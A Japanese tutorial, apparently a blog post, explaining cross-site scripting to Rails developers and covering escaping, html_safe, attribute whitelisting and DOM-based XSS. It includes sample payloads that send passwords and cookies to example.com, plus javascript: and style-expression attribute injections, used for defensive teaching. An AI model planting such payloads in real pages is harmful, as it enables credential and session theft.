この記事では、XSSに詳しくないというWebエンジニア向けに、Railsのコード例とともに、
- XSSとは?
- XSSが起きる原因
- XSSを起こさない対策
に分けて、解説していきたいと思います。
XSSとは?
XSS(Cross Site Scripting)をざっくり説明すると、
あなたの作ったページにXSSの脆弱性があると、
悪い人が自由にスクリプト(多くの場合Javascript)を埋め込むことができてしまって、
そのページを開いたユーザが攻撃を受けてしまうという脆弱性です。
これだけだと、あまりわかりにくかもしれないので、具体的な例を見てみましょう。
コメント機能の場合
例えばあなたがコメント機能を作っているとして、
ユーザの入力に <script>location.href="https://qiita.com/"</script>
という文章が投稿されたとします。
これを何も考えずに、ページに表示すると、
<p>
<script>location.href="https://qiita.com/"</script>
</p>
みたいなHTMLになってしまって、Javascriptがページを開いた瞬間に実行されてしまい、
あなたのページは開いた瞬間にQiitaのトップページにリダイレクトされるだけのページになってしまいます。
このリダイレクト先が悪い人の作ったフィッシングサイトなどだと、すごく困ったことになります。
ログインページ
あなたがログイン機能のあるページを作っているとして、
このページにXSSで、
<script>
$('.password').on('change', function(e){
new Image().src = "http://example.com/?p=" + e.val();
})
</script>
みたいなコードを埋め込めたとします。(コードが実際に動くかは確認していません...)
そうなると、ユーザがログインしようとパスワードを入力すると、すべてそのパスワードが悪意のあるサーバに送信されてしまうことになります。
ログインした後のページ
ログイン機能のあるWebサイトで、ログインした後のページに検索機能があるとします。
その検索機能のURLは、 http://example.com/search?q=キーワード
というものだったとします。
そしてそのページのHTMLが以下のような感じだとします。
<div class="search-word">
<span>キーワード</span>の検索結果
</div>
悪い人が、
http://example.com/search?q=<script>new%20Image().src="http://example.com/?"+document.cookie</script>
というようなURLを作って、それをどこかのサイトにリンクとして貼ったとします。
<div class="search-word">
<span><script>new Image().src="http://example.com/?"+document.cookie</script></span>の検索結果
</div>
あなたのページでは、このJavascriptが実行されて、
ログインしたユーザのCookieが全て盗まれます。
Cookieにはログイン情報が含まれているので、攻撃者は全てのユーザに自由にログインできるようになって、情報を盗み放題になってしまいます。
このCookieを盗む攻撃は、セッションハイジャックと呼ばれ、さらなる被害を生むことになります。
XSSが起きる原因
主にXSSが起きる原因は、ユーザ入力がただの文字列ではなくて、
HTMLのタグやJavascriptとして認識されてしまうことによって発生します。
つまり、XSSはViewで ユーザ入力を表示する箇所 で発生することになります。
ユーザ入力とは?
RailsのControllerの中で、ユーザ入力を受け取る箇所といえば、一番に、params[:hoge]
が思いつきます。
その他に、StrongParameterのparams.require(:hoge).permit(:fuga, :piyo)
などのコードや、
HTTPリクエストヘッダのrequest.headers
なども、ユーザから自由に設定できる値です。
(これ以外にもあるかもしれません。その都度考える必要があります。)
これらの入力値には、悪意のある値が含まれる可能性があると思ってください。
例えばログインフォームに、メールアドレスの入力欄を作ったとして、
そのメールアドレスを受け取る、params[:email]
というコードには、
hoge@example.com
のようなちゃんとしたメールアドレスだけではなくて、
<script>new%20Image().src="http://example.com/?"+document.cookie</script>
のような、
意味のわからない値が含まれていることもあると思って処理を書かなければいけません。
それから、そのユーザ入力を保存しているデータベースの値もまた、ユーザ入力なので、
そこにも常に変な値が入っているかもと思いながら処理を書く必要があります。
Railsが自動的にやってくれていること(エスケープ)
基本的にRailsでは、このユーザ入力をXSSが起こらないように出力してくれています。
RailsのViewでよく見る
<%= @message.comment %>
というような出力ですが、これをRailsでは自動的に、以下のとおりに変換してくれています。
- < を <
- > を >
- & を &
- " を "
- ' を '
これを行うと、@message.comment = '<script>alert('XSS')</script>'
みたいな文字列でも、
ブラウザから小なり(<)が、HTMLタグの始まりのカッコではなくて、ただの文字として認識されるようになります。
この処理を「エスケープする」などと言ったりします。
XSSを起こさない対策
XSSが起きるか起きないかは、このユーザ入力を、HTMLのどこに出力するかによって変わってきます。
この記事では、よくRailsのコードに出てくる3つの場合に分けて、解説していきたいと思います。
- HTMLのテキスト部分
- HTMLのアトリビュート部分
- Javascript部分
HTMLのテキスト部分
テキスト部分がどこかというと、Javascriptではなくて、HTMLのタグのAttributeでも無い場所です。
つまり、以下のような場所のことを指します。
<div data-attr="Attributeの部分">
ここがテキスト部分
</div>
<script>
Javascriptの部分
</script>
この場所では、上記で述べたエスケープを行っていれば、XSSが発生することはありません。
逆に、この場所で何をするとXSSが起きるかを考えてみましょう。
html_safeを使っている
<%= @user_input.html_safe %>
このhtml_safe
というメソッドは、safeとついていますが、名前に反して注意を要するメソッドです。
html_safe
は、エスケープ処理をしないようにするメソッドで、
これをつけてしまうと、XSSが起きてしまうようになります。
同様に<%= raw @user_input %>
も、<%== @user_input %>
も、
エスケープしないようになるので、注意してください。
ただし、これを使いたくなるタイミングもあるかと思います。
たとえば、ユーザの入力のうち、改行を<br>
に変換したいときなどですが、このときは、
h(@user_input).gsub("\n", '<br>').html_safe
というように、
あらかじめ、エスケープした後に、html_safe
をつけるようにします。
ただし注意すべき点として、改行文字はHTMLの構造に影響を及ぼさないので、
エスケープした後に置換しても何も問題が起きないですが、
<
や'
のような記号は、場合によっては何かしら問題が起きてしまうこともあるので、置換するのは危険です。
またそれから、ユーザから入力されたタグのうち、<strong>
や、<a>
など、
簡単で安全そうなタグだけはそのまま表示したいなどという需要があるかもしれません。
しかしながら、これは茨の道なので避けたほうが良いです。(その理由はアトリビュートの話になるので次の項目で説明します)
HTMLのアトリビュート部分
これは、以下のような場所です。
<div data-hoge="ここ">
<a href="ここ">
</div>
この場所でも、エスケープ処理をしていれば大丈夫と思いがちですが、ここにもXSSの可能性があって、
以下のようにJavascriptが実行できてしまいます。
<a href="javascript:alert('XSS')"></a>
<a onclick="javasCript:alert('XSS')"></a>
<img src="javascript:alert('XSS')"></img>
上記のものは比較的にわかりやすい例ですが、下記のリンクのように、
常人には思いつかないような書き方でXSSが成立してしまう例があります。
いくつか引用しておくと、
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
みたいに、ありとあらゆるところに、XSSを埋め込むチャンスがあります。
XSSを起こさないように、hrefなどにユーザ入力を埋め込む方法としては、
必ずホワイトリスト方式で入力値のチェックをするということが挙げられます。
URLの場合だと、以下のようになるかと思います。
@user_input =~ /\Ahttps?:\/\//
エスケープされていてhttpから始まる文字列で、
javascriptを実行する方法は今の所存在していないはずなので、
この方法でURLについては安全に埋め込めます。
それ以外のユーザ入力値については、
<div data-hoge="<%= @user_input %>">
のように、差支えのないアトリビュートにのみ埋め込むようにするのが無難かと思います。
Javascript部分
<script>
Javascript部分
</script>
ここに、ユーザ入力を安全に埋め込むのは、とてもむずかしいです。
ユーザ入力を、Javascriptから使いたいときは、gonというGemを使うか、
前述のように、アトリビュートに埋め込んでから、JSで取得するようにすると安全です。
<div id="variable" data-hoge="<%= @user_input %>"></div>
<script>
var hoge = document.getElementById('variable').dataset.hoge
</script>
ただし、Javascriptでも、XSSを埋め込む可能性があって、
このユーザ入力値を元に、そのままHTMLを組み立てたりすると、XSSが発生する可能性があります。
// Bad
document.getElementById("hoge").innerHTML = user_input
document.write(user_input)
// Safe (with jQuery)
$("$hoge").text(user_input)
このようにJavascriptでユーザ入力を扱った結果発生するXSSのことをDOM-based XSS
と呼びます。
DOM-based XSSについて、私が正しく解説するのは難しいので、以下のページをおすすめしておきます。
まとめ
Railsではデフォルトで値がエスケープされているので、普通は安全ですが、
アトリビュートに値を埋め込んでいる箇所や、html_safe
などを使用している箇所、
それからJavascriptでユーザ入力を扱う箇所については、特に注意を払ってコーディングようにしましょう。
間違ってたらご指摘お願いします!